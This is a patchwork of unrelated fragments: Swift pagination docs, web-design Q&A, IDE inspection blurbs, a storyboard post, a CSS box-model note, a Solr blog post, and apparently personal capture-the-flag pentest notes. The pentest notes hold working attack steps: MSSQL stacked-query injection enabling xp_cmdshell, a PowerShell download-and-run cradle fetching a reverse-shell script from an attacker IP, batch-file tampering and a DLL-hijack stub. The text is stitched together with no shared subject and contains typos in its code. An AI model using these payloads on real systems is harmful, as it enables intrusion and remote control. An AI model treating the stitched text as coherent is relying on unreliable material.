- Instantiate and retain an instance, defining the
Response
andItem
generic types. The main initializer also takes aPagingStrategy
object which defines the behavior of your API and a keypath which showsListPaginator
where to find yourItem
s within the definedResponse
object. - Tell
ListPaginator
how to fetch results by assigning itsrequestProvider: RequestProvider
property. You can provide a standard closure or, for Combine-driven applications, a publisher which performs the appropriate network operation based on the page or offset number provided. - Call
fetchMoreIfNeeded.send()
or bind to the publisher when the client wants to fetch new data. This is typically called when the user scrolls near the end of a collection or table view. - For SwiftUI and Combine-driven applications, bind your UI to the
results: [item]
publisher. For other implementations, assign a closure to thecompletionHandler
property and refresh your view as necessary.
Integration via either standard Swift closures and Combine publishers is possible. The
See moreresults: [Item]
array contains all objects fetched so-far and is marked as@Published
for integration with SwiftUI. TheStatus
property indicates the current pagination status the instance is in and is also@Published
.Declaration
Swift
public final class ListPaginator<Response, Item> : ObservableObject where Response : Decodable
Parameters
Response
A
Decodable
object type which is fetched from the server and contains the array of items.Item
The object type of the items to be paginated.
- Instantiate and retain an instance, defining the


thumbnail
Q: What a responsive site is, and why responsiveness is important?
Responsive sites are sites that adapt their layout and content to the size of the screen they're being displayed on. It's simply important in order to maintain accessibility and functionality, and clarity of message to the user across a variety of devices.
Q: What is mobile-first design, and why is it important?
Mobile first design is where the site is designed for small mobile size screens first, and then media queries are used to change content (using min-width css) when the site is accessed on a screen that's above a certain size. This helps smaller and less powerful devices to load the page more quickly as they don't have to run all css before the relevant css is accessed.
Q: What are frameworks, listing their pros and cons.
Frameworks such bootstrap and foundation deal with a lot of complex, relsponsive website elements including the grid system using classes linked to javascript. This can make website development really easy and quick, but it can limit flexibility and creativity.
Q: What is a wireframe, and why do we use it?
Wireframes allow us to plan in advance our website development on the html and css sides which means we're more likely to develop the site quickly and acheive the desired webpage.
thumbnail
thumbnail
thumbnail
thumbnail


Converts translation from a dict constructor to a dict literal form. This intention can be useful in situations when you need to rewrite dictionary creation by using a dictionary literal.


This inspection reports instances of calls to java.lang.Thread.sleep() that occur inside loops. Such calls
are indicative of "busy-waiting". Busy-waiting is often inefficient, and may result in unexpected deadlocks
as busy-waiting threads do not release locked resources.
Powered by InspectorGroovy


---
layout: post
title: rooftop chase
date: '2018-02-02T11:30:22+01:00'
categories:
- Storyboards
picture_url: https://film-Storyboards.tumblr.com/post/170423281423
---
Storyboard, chase on the rooftop, Collège Christ Roi, Les rivières pourpres, TV series directed by Olivier Barma.


The first, outer most layer of this element box is the margin. The margin determines where that box will sit on the page as well as how closely that box will sit next to other boxes.
The next layer is the border. The border will outlines the padding and contexts of the box. When it's thickness is increased, the border will expand until it the margin limitations on all four sides. At that time it will start to encroach on the padding.
The last layer is the padding. The padding determines how much space there is between the content of the box and the border. Similarly to the border, when you increase the size of the padding it will expand the box until it reaches the limitations defined by the margins at which time it will start to encroach on the content space.


WFUZZ can bruteforce subdomains that you can't resolve by fuzzing the Header (-H)
wfuzz -w subdomains.txt -u streetfighterclub.htb -H "Host: FUZZ.streetfighterclub.htb"
SQL injection can happen on any parameter, including dropdown menus and checkbox values. Union Select columns and find whichever value is returning data and that will be where you can inject arbitrary queries AND SEE your data.
If you can't see any column values returning, you'll have to inject blind.
MSSQL is 'generally' vulnerable to what is known as 'stacked queries'
netsparker.com/blog/web-security/sql-injectinon-cheat-sheet
(vulnerable in asp, asp.net, php. just not java)
Stacked queries basically means we don't have to UNION SELECT. You can just put in any statement and it will execute the original, and then execute your query.
3; EXEC sp_configure 'show advanced options', 1; exec xp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
Neat trick: create a table to store xp_cmdshell output
CREATE TABLE ippsec (ID int IDENTITY(1,1) PRIMARY KEY, output varchar(1024));
INSERT INTO ippsec (output) EXEC xp_cmdshell "whoami";
And then select it
3; UNION SELECT 1,2,3,4,(SELECT output FROM ippsec WHERE ID = 1),6-- -
Drop it when done;
DROP TABLE ippsec
Powershell: access is denied
If the machine is 64 bit, Try the other version in syswow64.
Truncating files with append permissions to erase them
PS> [System.IO.File]::Open('C:\users\decoder\clean.bat', [System.IO.FileMode]::Truncate)
*warning the above file may not close the file so a new shell will be needed here
But truncating it with the command above erases the file's contents!
Now append whatever commands you want
Another option is to use cmd copy
cmd /c "copy /y NUL Clean.bat"
#Escape with double single quotes by http
echo 'powershell -nop -c "IEX(new-Object Net.WebClient).downloadString(''http://<IP_ADDRESS>/rev-445.ps1')"
certutil can do all sorts of amazing things...like encode files
certutil -encode clean.bat <output/file/>
cmd /c "type launcher" >> file.bat
Create new DLL
Visual Studio: New > Win32 Console Application >
Application settings: Application type: DLL
#include "stdafx.h"
exterm "C" {
__declspec(dllexport) int check(); #this is what the root.exe is calling
}
int __cdecl check() #we just need it to return 1
{
return 1;
}


--- layout: post title: Solr Real Time and Archival Cores published: true meta: posterous_60e8ef2b7d9ddd23e14a941a8878b49c_post_id: "24920707" _searchme: "1" posterous_60e8ef2b7d9ddd23e14a941a8878b49c_permalink: http://maxlynchmadison.posterous.com/solr-real-time-and-archival-cores tags: [] type: post status: publish ---
Right now I'm running into a case where I need to store documents in a Solr index in two cores: One for quick searching (~1 day old docs), and one for archival analysis (30-60 days old docs). It doesn't seem like Solr has built in support for core replication, and the official replication system built into solr doesn't seem to have support for selective replication (i.e. based on a query). The solution I've created is to duplicate a core to another core each night, and issue a <delete><query>mydate:[* TO NOW/DAY-1DAY]</query></delete> query to the "real-time" core to delete all documents older than a day or so. That way my arhival core will continue to grow while my "real-time" core will stay night and light...perfect for replication to small-disk-space VPS's.